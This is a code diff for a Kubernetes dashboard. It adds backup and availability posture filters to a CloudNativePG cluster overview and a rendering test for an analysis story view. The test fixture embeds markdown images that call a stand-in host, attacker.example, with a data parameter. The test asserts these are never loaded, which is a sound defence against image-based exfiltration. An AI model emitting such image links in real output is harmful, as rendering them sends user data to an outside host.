  cnpgReadyInstances,
9
11
  FactValue,
12
+ RadarUpgradeNote,
10
13
  StatusDot,
11
14
  Tooltip,
12
15
  toneTextClass,
13
16
  usePhoneLayout,
17
+ type CNPGFleetPosture,
14
18
  type CNPGFleetRow,
19
+ type CNPGPostureFilter,
15
20
  type CNPGProblemCategory,
16
21
  } from '@skyhook-io/k8s-ui'
17
22
  import type { SelectedResource } from '../../types'
18
23
  import { useConnection } from '../../context/ConnectionContext'
19
24
  import { getApiBase } from '../../api/config'
25
+ import { useRadarFeature } from '../../api/client'
20
26
  import { CNPGWorkspaceHeader, CoverageNotice, coverageEmpty, type CNPGScreenProps } from './shared'
21
27
  import { cnpgClusterFullPath, cnpgClusterProblemsPath } from './paths'
22
28
  import { currentPageLabel } from '../../utils/page-links'
@@ -189,6 +195,46 @@ function AttentionCell({ row, onOpenAll }: { row: CNPGFleetRow; onOpenAll: () =>
189
195
  )
190
196
  }
191
197
 
198
+ const POSTURE_LABELS: Record<CNPGPostureFilter, string> = {
199
+ none: 'No backup destination',
200
+ nowal: 'No WAL archiving',
201
+ single: 'Single instance',
202
+ intree: 'In-tree backup',
203
+ }
204
+
205
+ // Clusters with each posture Check's finding, as Checks reports them. Each count narrows the table.
206
+ function PostureSummary({ posture, lowerBound, active, onToggle }: {
207
+ posture: CNPGFleetPosture
208
+ lowerBound: boolean
209
+ active: CNPGPostureFilter | null
210
+ onToggle: (filter: CNPGPostureFilter) => void
211
+ }) {
212
+ // Posture is stated without a mark, as on every CNPG surface: no tone on the counts.
213
+ return (
214
+ <div role="group" className="flex flex-wrap items-center gap-2 text-xs" aria-label="Backup and availability configuration">
215
+ {CNPG_POSTURE_FILTERS.map((id) => {
216
+ const value = posture[id]
217
+ const text = lowerBound ? value === 0 ? '–' : `≥${value}` : String(value)
218
+ const on = active === id
219
+ return (
220
+ <button
221
+ key={id}
222
+ type="button"
223
+ aria-pressed={on}
224
+ aria-label={`${POSTURE_LABELS[id]}: ${lowerBound && value === 0 ? 'unknown' : text}`}
225
+ disabled={value === 0 && !on}
226
+ onClick={() => onToggle(id)}
227
+ className={clsx(
228
+ 'inline-flex items-center gap-1.5 rounded-full border px-2.5 py-0.5 transition-colors',
229
+ on ? 'border-accent bg-accent-muted text-accent-text' : 'border-theme-border text-theme-text-secondary enabled:hover:bg-theme-hover disabled:opacity-60',
230
+ )}
231
+ ><span>{POSTURE_LABELS[id]}</span><span className="font-mono">{text}</span></button>
232
+ )
233
+ })}
234
+ </div>
235
+ )
236
+ }
237
+
192
238
  export function CNPGOverview({
193
239
  data,
194
240
  fleet,
@@ -209,23 +255,28 @@ export function CNPGOverview({
209
255
  const rawFilter = searchParams.get('filter') as Filter | null
210
256
  // The view is the list of clusters: all of them unless asked for less.
211
257
  const filter: Filter = rawFilter === 'attention' ? 'attention' : 'all'
258
+ // An older Radar's findings lack the posture Checks: its counts would read 0.
259
+ const postureFeature = useRadarFeature('cnpgPostureChecks')
260
+ const rawProtect = searchParams.get('protect')
261
+ const protect = postureFeature.support === 'supported' && (CNPG_POSTURE_FILTERS as readonly string[]).includes(rawProtect ?? '') ? rawProtect as CNPGPostureFilter : null
212
262
 
213
263
  const rows = useMemo(() => {
214
264
  let list = fleet.rows
215
265
  if (filter === 'attention') list = list.filter((r) => r.attention)
216
266
  if (cat) list = list.filter((r) => r.categories.has(cat))
267
+ if (protect) list = list.filter((r) => cnpgMatchesPostureFilter(r, protect))
217
268
  if (q) {
218
269
  const needle = q.toLowerCase()
219
270
  list = list.filter((r) => r.name.toLowerCase().includes(needle) || r.namespace.toLowerCase().includes(needle))
220
271
  }
221
272
  return list
222
- }, [fleet, filter, cat, q])
273
+ }, [fleet, filter, cat, protect, q])
223
274
 
224
275
  const clustersCov = data.coverage.clusters
225
276
  const total = fleet.rows.length
226
277
  const context = connection.context || data.context
227
278
  // Some namespaces were not read: the count is a floor, not the cluster's total.
228
- const totalText = `${clustersCov?.state === 'partial' ? '≥' : ''}${total}`
279
+ const totalText = `${fleet.incompleteKinds.includes('clusters') ? '≥' : ''}${total}`
229
280
  // No cluster authoring on a phone (a YAML editor follows the dialog).
230
281
  const isPhone = usePhoneLayout()
231
282
  const createAction = onCreate && !isPhone ? (
@@ -270,6 +321,7 @@ export function CNPGOverview({
270
321
 
271
322
  const chips: { label: string; onClear: () => void }[] = []
272
323
  if (cat) chips.push({ label: `Problem: ${CNPG_PROBLEM_CATEGORIES.find((c) => c.id === cat)?.label ?? cat}`, onClear: () => onSetParams({ cat: null }) })
324
+ if (protect) chips.push({ label: `Posture: ${POSTURE_LABELS[protect]}`, onClear: () => onSetParams({ protect: null }) })
273
325
  if (q) chips.push({ label: `Search: ${q}`, onClear: () => onSetParams({ q: null }) })
274
326
  if (namespaces.length > 0) chips.push({ label: `Namespace: ${namespaces.join(', ')}`, onClear: onClearNamespaces })
275
327
 
@@ -314,6 +366,12 @@ export function CNPGOverview({
314
366
  <CoverageNotice fleet={fleet} data={data} kinds={['clusters', 'pods', 'backups', 'scheduledBackups', 'objectStores', 'poolers', 'databases', 'databaseRoles', 'publications', 'subscriptions']} includeJobs />
315
367
  <CNPGOperatorBanner namespaces={fleet.rows.map((r) => r.namespace)} className="" />
316
368
 
369
+ {postureFeature.upgrade ? (
370
+ <RadarUpgradeNote requirement={postureFeature.upgrade} />
371
+ ) : postureFeature.support === 'supported' ? (
372
+ <PostureSummary posture={fleet.posture} lowerBound={fleet.incompleteKinds.includes('clusters')} active={protect} onToggle={(f) => onSetParams({ protect: protect === f ? null : f })} />
373
+ ) : null}
374
+
317
375
  <div className="flex flex-wrap items-center gap-2">
318
376
  <div role="tablist" aria-label="Clusters" className="inline-flex rounded-lg bg-theme-elevated p-0.5">
319
377
  {segment('all', 'All clusters', totalText)}
@@ -469,10 +527,10 @@ export function CNPGOverview({
469
527
  </div>
470
528
  {rows.length === 0 && (
471
529
  <div className="px-4 py-6 text-sm text-theme-text-tertiary">
472
- {filter === 'attention' && !cat && !q
530
+ {filter === 'attention' && !cat && !q && !protect
473
531
  ? lowerBound ? 'No attention findings in the readable data; other data was not read.' : 'No clusters need attention.'
474
532
  : 'No clusters match these filters.'}{' '}
475
- <button type="button" onClick={() => onSetParams({ filter: 'all', cat: null, q: null })} className="font-medium text-accent-text hover:underline">
533
+ <button type="button" onClick={() => onSetParams({ filter: 'all', cat: null, q: null, protect: null })} className="font-medium text-accent-text hover:underline">
476
534
  Show all clusters
477
535
  </button>
478
536
  </div>
@@ -327,6 +327,18 @@ describe("AnalysisStory", () => {
327
327
  expect(withTrailing).not.toContain("data-trailing");
328
328
  });
329
329
 
330
+ it("never loads an image the analysis text asks for, in the preview, the faded teaser or the open story", () => {
331
+ const report =
332
+ "Opening ![a](https://attacker.example/1?d=x).\n\n[[radar:evidence=0]]\n\nBehind the fold ![b](https://attacker.example/2?d=x).\n\n[[radar:evidence=1]]";
333
+ for (const html of [render(report), render(report, true)]) {
334
+ expect(html).not.toContain("<img");
335
+ expect(html).not.toContain("preload");
336
+ expect(html).not.toContain("attacker.example");
337
+ }
338
+ expect(render(report)).toContain("data-story-teaser");
339
+ expect(render(report, true)).toContain("Behind the fold <span>b</span>.");
340
+ });
341
+
330
342
  it("does not offer a fold when everything already fits the preview", () => {
331
343
  const html = render("One paragraph only.");
332
344
  expect(html).toContain("One paragraph only.");